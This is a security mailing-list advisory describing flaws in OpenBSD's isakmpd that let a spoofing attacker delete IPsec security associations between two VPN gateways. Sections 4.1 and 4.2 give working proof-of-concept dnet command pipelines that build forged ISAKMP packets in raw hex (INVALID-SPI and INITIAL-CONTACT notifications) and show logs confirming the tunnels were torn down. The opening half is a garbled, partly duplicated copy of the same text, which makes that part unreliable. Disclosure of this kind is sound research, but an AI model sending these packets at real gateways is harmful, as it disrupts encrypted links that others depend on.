On 2003/11/06 a bug fix for a payload handling flaw in isakmpd
described in http://securityfocus.com/archive/1/343173 was committed
to CVS. Other payload handling flaws, which were not presented on a
silver platter, but only mentioned in side notes, still remain
unfixed.
This posting will point out two other payload handling flaws in
isakmpd, which can be exploited with an ease. It's meant to put
pressure on the developers of IKE daemons to review their software,
which might become crucial in the future.
1 Abstract
isakmpd, OpenBSD's IKE daemon, contains some payload handling flaws,
which allow for unauthorized deletion of IPsec SAs.
2 Description
2.1 isakmpd's weird reaction upon receipt of INVALID-SPI notifications
On receipt of an INVALID-SPI notification, isakmpd deletes the
IPsec SA referred to by the SPI contained in the notification data
and all "associated" IPsec SAs, if the ISAKMP message originates
from the right IP address. See section 4.1, RFC 2408 section 5.5 and
ipsec.c for further details.
Nota Bene: This reaction upon receipt of an INVALID-SPI notification
is complete nonsense. Please, take a look at the RFC.
When isakmpd receives an INITIAL-CONTACT notification chained to
other "reasonable" payload, it deletes all IPsec SAs pointing to the
source IP address of the ISAKMP message and all "associated" IPsec
SAs. isakmpd ignores INITIAL-CONTACT notifications sent in a
informational exchange. See section 4.2, RFC 2407 section 4.6.3.3
and ipsec.c for further details.
3 Affected Systems
All versions of isakmpd are affected. Other well known free IKE
daemons are not affected.
Commercial IKE daemons might also be affected. I don't know. You want
to provide access to commercial IKE daemons? Contact me!
4 Leveraging the Issues ..
The following scenario is assumed. There are two VPN gateways vpn-gw-a
and vpn-gw-b, which have established a IPsec tunnel. The attacker
tries to trigger unauthorized deletion of IPsec SAs on vpn-gw-a
The attacker does some network sniffing to learn the SPI of IPsec SA
pointing to vpn-gw-b (that's quite easy, because it's contained in
the AH/ESP header) and injects his "deadly" packet:
075542.992984 Exch 10 ipsec_responder: got NOTIFY of type INVALID_SPI
075543.000662 SA 30 ipsec_delete_spi_list: INVALID_SPI made us delete SA 0x1b1600 (3 references) for proto 0
The attacker injects an ISAKMP message pretending to initiate a Main
Mode exchange between vpn-gw-b and vpn-gw-a with an INITIAL-CONTACT
notification chained to it:
If the isakmpd finds a acceptable proposal in message injected by
the attacker, it tries to advance the exchange and deletes all IPsec
SAs pointing to vpn-gw-b and all "associated" IPsec SAs ..:
081412.393202 SA 30 ipsec_handle_leftover_payload: INITIAL-CONTACT made us delete SA 0x1b1600
081412.399786 SA 30 ipsec_handle_leftover_payload: INITIAL-CONTACT made us delete SA 0x1b1200
Nota Bene: You can include a large proposal payload with all
possible transforms, so isakmpd will find one acceptable.
On 2003/11/06 a bug fix for a payload handling flaw in isakmpd
described in http://securityfocus.com/archive/1/343173 was committed
to CVS. Other payload handling flaws, which were not presented on a
silver platter, but only mentioned in side notes, still remain
unfixed.
This posting will point out two other payload handling flaws in
isakmpd, which can be exploited with an ease. It's meant to put
pressure on the developers of IKE daemons to review their software,
which might become crucial in the future.
1 Abstract
isakmpd, OpenBSD's IKE daemon, contains some payload handling flaws,
which allow for unauthorized deletion of IPsec SAs.
2 Description
2.1 isakmpd's weird reaction upon receipt of INVALID-SPI notifications
On receipt of an INVALID-SPI notification, isakmpd deletes the
IPsec SA referred to by the SPI contained in the notification data
and all "associated" IPsec SAs, if the ISAKMP message originates
from the right IP address. See section 4.1, RFC 2408 section 5.5 and
ipsec.c for further details.
Nota Bene: This reaction upon receipt of an INVALID-SPI notification
is complete nonsense. Please, take a look at the RFC.
2.2 isakmpd accepting INITIAL-CONTACT nearly everywhere
When isakmpd receives an INITIAL-CONTACT notification chained to
other "reasonable" payload, it deletes all IPsec SAs pointing to the
source IP address of the ISAKMP message and all "associated" IPsec
SAs. isakmpd ignores INITIAL-CONTACT notifications sent in a
informational exchange. See section 4.2, RFC 2407 section 4.6.3.3
and ipsec.c for further details.
3 Affected Systems
All versions of isakmpd are affected. Other well known free IKE
daemons are not affected.
Commercial IKE daemons might also be affected. I don't know. You want
to provide access to commercial IKE daemons? Contact me!
4 Leveraging the Issues ..
The following scenario is assumed. There are two VPN gateways vpn-gw-a
and vpn-gw-b, which have established a IPsec tunnel. The attacker
tries to trigger unauthorized deletion of IPsec SAs on vpn-gw-a
.. ---[ vpn-gw-a ]------[ vpn-gw-b ]--- ..
\========= IPsec tunnel =========/
4.1 .. using INVALID-SPI
Someone starts isakmpd on vpn-gw-a:
vpn-gw-a# isakmpd -d -DA=30
vpn-gw-a and vpn-gw-b establish a IPsec tunnel using IKE. The IKE
daemons install appropriate IPsec SAs (and policies):
vpn-gw-a# cat /kern/ipsec | grep SPI
SPI = 53fc575b, Destination = <vpn-gw-b's IP address>, Sproto = 50
SPI = 01627f3c, Destination = <vpn-gw-a's IP address>, Sproto = 50
The attacker does some network sniffing to learn the SPI of IPsec SA
pointing to vpn-gw-b (that's quite easy, because it's contained in
the AH/ESP header) and injects his "deadly" packet:
attacker# dnet hex > "\x00\x00\x00\x00" > "\x00\x00\x00\x00" > "\x00\x00\x00\x00" > "\x00\x00\x00\x00" > "\x0b\x10\x05\x00" > "\x00\x00\x00\x00" > "\x00\x00\x00\x2c" > "\x00\x00\x00\x10" > "\x00\x00\x00\x01" > "\x03\x00\x00\x0b" > "\x53\xfc\x57\x5b" |
pipe> dnet udp sport 500 dport 500 |
pipe pipe> dnet ip proto udp src vpn-gw-b dst vpn-gw-a |
pipe pipe pipe> dnet send
Note: The example ISAKMP message is complete crap, but it seems to
be good enough for isakmpd :-/.
isakmpd automagically deletes the IPsec SAs ..:
vpn-gw-a# # cat /kern/ipsec
Hashmask: 31, policy entries: 0
.. and informs you about it:
075542.992984 Exch 10 ipsec_responder: got NOTIFY of type INVALID_SPI
075543.000662 SA 30 ipsec_delete_spi_list: INVALID_SPI made us delete SA 0x1b1600 (3 references) for proto 0
4.2 .. using INITIAL-CONTACT
This attack is much easier. Really.
Again an IPsec tunnel is established:
vpn-gw-a# cat /kern/ipsec | grep SPI
SPI = 1d4f3865, Destination = <vpn-gw-a's IP address>, Sproto = 50
SPI = f7b3944c, Destination = <vpn-gw-b's IP address>, Sproto = 50
The attacker injects an ISAKMP message pretending to initiate a Main
Mode exchange between vpn-gw-b and vpn-gw-a with an INITIAL-CONTACT
notification chained to it:
attacker# dnet hex > "\x17\x17\x17\x17" > "\x17\x17\x17\x17" > "\x00\x00\x00\x00" > "\x00\x00\x00\x00" > "\x01\x10\x02\x00" > "\x00\x00\x00\x00" > "\x00\x00\x00\x54" > "\x0b\x00\x00\x2c" > "\x00\x00\x00\x01" > "\x00\x00\x00\x01" > "\x00\x00\x00\x20" > "\x01\x01\x00\x01" > "\x00\x00\x00\x18" > "\x01\x01\x00\x00" > "\x80\x01\x00\x05" > "\x80\x02\x00\x02" > "\x80\x03\x00\x03" > "\x80\x04\x00\x02" > "\x00\x00\x00\x0c" > "\x00\x00\x00\x01" > "\x01\x00\x60\x02" |
pipe> dnet udp sport 500 dport 500 |
pipe pipe> dnet ip proto udp src vpn-gw-b dst vpn-gw-a |
pipe pipe pipe> dnet send
If the isakmpd finds a acceptable proposal in message injected by
the attacker, it tries to advance the exchange and deletes all IPsec
SAs pointing to vpn-gw-b and all "associated" IPsec SAs ..:
vpn-gw-a# cat /kern/ipsec
Hashmask: 31, policy entries: 0
.. and does some logging:
081412.393202 SA 30 ipsec_handle_leftover_payload: INITIAL-CONTACT made us delete SA 0x1b1600
081412.399786 SA 30 ipsec_handle_leftover_payload: INITIAL-CONTACT made us delete SA 0x1b1200
Nota Bene: You can include a large proposal payload with all
possible transforms, so isakmpd will find one acceptable.
5 Bug fixes
There are no bug fixes.
Thomas Walpuski
[ reply ]